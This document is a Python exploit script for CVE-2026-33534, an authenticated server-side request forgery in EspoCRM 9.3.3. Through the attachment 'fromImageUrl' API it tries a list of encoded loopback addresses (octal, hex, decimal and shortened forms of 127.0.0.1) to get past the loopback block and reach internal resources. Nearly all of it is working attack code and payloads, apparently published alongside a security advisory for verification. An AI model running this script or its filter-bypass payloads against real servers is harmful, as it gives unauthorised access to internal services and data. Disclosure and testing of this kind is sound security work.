# Exploit Title: EspoCRM 9.3.3 - Authenticated SSRF via Alternative IPv4 Notation # Google Dork: N/A # Date: 2026-05-08 # Exploit Author: Max Gabriel (https://github.com/EntroVyx) # Vendor Homepage: https://www.espocrm.com/ # Software Link: https://github.com/espocrm/espocrm/releases/tag/9.3.3 # Version: 9.3.3 # Tested on: EspoCRM 9.3.3, Debian/Kali, Apache/PHP # CVE : CVE-2026-33534 # Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73 # # Usage: # python3 CVE-2026-33534.py -u http://127.0.0.1:8083 -U admin -P 'Admin12345!' --internal-port 8083 --cleanup # python3 CVE-2026-33534.py -u https://target.example -U user -P pass --internal-port 9002 --internal-path /interno.png # python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload 0x7f000001 --payload 2130706433 import argparse import json import sys from pathlib import Path from urllib.parse import urlparse, urlunparse import requests DEFAULT_LOOPBACK_PAYLOADS = [ ("octal dotted", "0177.0.0.1"), ("octal dotted padded", "0177.0000.0000.0001"), ("octal compressed", "0177.1"), ("hex dotted", "0x7f.0.0.1"), ("hex dotted full", "0x7f.0x0.0x0.0x1"), ("hex dword", "0x7f000001"), ("decimal dword", "2130706433"), ("octal dword", "017700000001"), ("short IPv4 two-part", "127.1"), ("short IPv4 three-part", "127.0.1"), ("zero-padded dotted", "127.000.000.001"), ("long zero-padded octal", "0000000000000000000000000177.0.0.1"), ] def normalize_base_url(value): value = value.rstrip("/") parsed = urlparse(value) if not parsed.scheme or not parsed.netloc: raise argparse.ArgumentTypeError("target URL must include scheme and host") return value def default_internal_port(base_url): parsed = urlparse(base_url) if parsed.port: return parsed.port return 443 if parsed.scheme == "https" else 80 def ensure_path(value): if not value: return "/" return value if value.startswith("/") else f"/{value}" def make_url(base_url, host, internal_port, internal_path): parsed = urlparse(base_url) netloc = host default_port = 443 if parsed.scheme == "https" else 80 if internal_port != default_port: netloc = f"{host}:{internal_port}" return urlunparse((parsed.scheme, netloc, ensure_path(internal_path), "", "", "")) def make_control_url(base_url, internal_port, internal_path): return make_url(base_url, "127.0.0.1", internal_port, internal_path) def load_payloads(args): payloads = list(DEFAULT_LOOPBACK_PAYLOADS) if args.no_default_payloads: payloads = [] for item in args.payload or []: payloads.append(("custom", item.strip())) if args.payload_file: for line_number, raw_line in enumerate(Path(args.payload_file).read_text().splitlines(), start=1): line = raw_line.strip() if not line or line.startswith("#"): continue if "=" in line: label, host = line.split("=", 1) payloads.append((label.strip() or f"file:{line_number}", host.strip())) else: payloads.append((f"file:{line_number}", line)) seen = set() output = [] for label, host in payloads: if not host or host in seen: continue seen.add(host) output.append((label, host)) return output def post_from_image_url(session, base_url, image_url, field, parent_type, parent_id, timeout): endpoint = f"{base_url}/api/v1/Attachment/fromImageUrl" payload = { "url": image_url, "field": field, "parentType": parent_type, } if parent_id: payload["parentId"] = parent_id return session.post(endpoint, json=payload, timeout=timeout) def parse_json(response): try: return response.json() except json.JSONDecodeError: return None def short_body(response): body = response.text.replace("\r", "\\r").replace("\n", "\\n") if len(body) > 420: return body[:420] + "..." return body def delete_attachment(session, base_url, attachment_id, timeout): response = session.delete(f"{base_url}/api/v1/Attachment/{attachment_id}", timeout=timeout) return response.status_code in {200, 204} def is_successful_bypass(response): data = parse_json(response) return ( response.status_code == 200 and isinstance(data, dict) and bool(data.get("id")) ), data def print_result(label, host, response, data): if isinstance(data, dict) and data.get("id"): print( f"[+] {label:24} {host:38} HTTP {response.status_code} " f"id={data.get('id')} type={data.get('type')} size={data.get('size')}" ) return reason = response.headers.get("X-Status-Reason") or short_body(response) or "-" print(f"[-] {label:24} {host:38} HTTP {response.status_code} {reason}") def main(): parser = argparse.ArgumentParser( description="Authenticated EspoCRM CVE-2026-33534 SSRF verification exploit with multiple encoded loopback payloads." ) parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083") parser.add_argument("-U", "--username", required=True, help="EspoCRM username") parser.add_argument("-P", "--password", required=True, help="EspoCRM password") parser.add_argument("--internal-port", type=int, help="Internal loopback port for the self-fetch PoC") parser.add_argument("--internal-path", default="/client/img/logo-light.svg", help="Internal path for the self-fetch PoC") parser.add_argument("--payload", action="append", help="Additional loopback host notation to test, e.g. 0x7f000001") parser.add_argument("--payload-file", help="File with one host payload per line, or label=host") parser.add_argument("--no-default-payloads", action="store_true", help="Use only --payload/--payload-file entries") parser.add_argument("--field", default="avatar", help="Attachment field used by fromImageUrl") parser.add_argument("--parent-type", default="User", help="Parent entity type used by fromImageUrl") parser.add_argument("--parent-id", help="Optional parent entity id") parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout") parser.add_argument("--cleanup", action="store_true", help="Attempt to delete attachments created by successful payloads") parser.add_argument("--stop-on-first", action="store_true", help="Stop after the first successful payload") parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification") args = parser.parse_args() payloads = load_payloads(args) if not payloads: print("[-] No payloads to test.") return 2 internal_port = args.internal_port or default_internal_port(args.url) control_url = make_control_url(args.url, internal_port, args.internal_path) session = requests.Session() session.auth = (args.username, args.password) session.headers.update({"Accept": "application/json"}) session.verify = not args.insecure print(f"[*] Target: {args.url}") print(f"[*] Control URL: {control_url}") print(f"[*] Payload count: {len(payloads)}") control = post_from_image_url( session, args.url, control_url, args.field, args.parent_type, args.parent_id, args.timeout, ) print(f"[*] Control response: HTTP {control.status_code} {control.headers.get('X-Status-Reason') or short_body(control) or '-'}") if control.status_code != 403: print("[!] The direct 127.0.0.1 control was not blocked with HTTP 403. Results may not prove CVE-2026-33534.") successes = [] for label, host in payloads: ssrf_url = make_url(args.url, host, internal_port, args.internal_path) response = post_from_image_url( session, args.url, ssrf_url, args.field, args.parent_type, args.parent_id, args.timeout, ) successful, data = is_successful_bypass(response) print_result(label, host, response, data) if successful: successes.append((label, host, ssrf_url, data)) if args.cleanup and data.get("id"): if delete_attachment(session, args.url, data["id"], args.timeout): print(f" cleanup: deleted attachment {data['id']}") else: print(f" cleanup: failed to delete attachment {data['id']}") if args.stop_on_first: break if not successes: print("[-] No encoded loopback payload produced an attachment.") return 2 print("") print("[+] Vulnerable behavior confirmed.") print(f"[+] Direct loopback control: HTTP {control.status_code}") print(f"[+] Successful payloads: {len(successes)}") for label, host, ssrf_url, data in successes: print(f" - {label}: {host} -> {data.get('type')} ({ssrf_url})") return 0 if control.status_code == 403 else 1 if __name__ == "__main__": try: sys.exit(main()) except requests.RequestException as exc: print(f"[-] HTTP error: {exc}") sys.exit(1)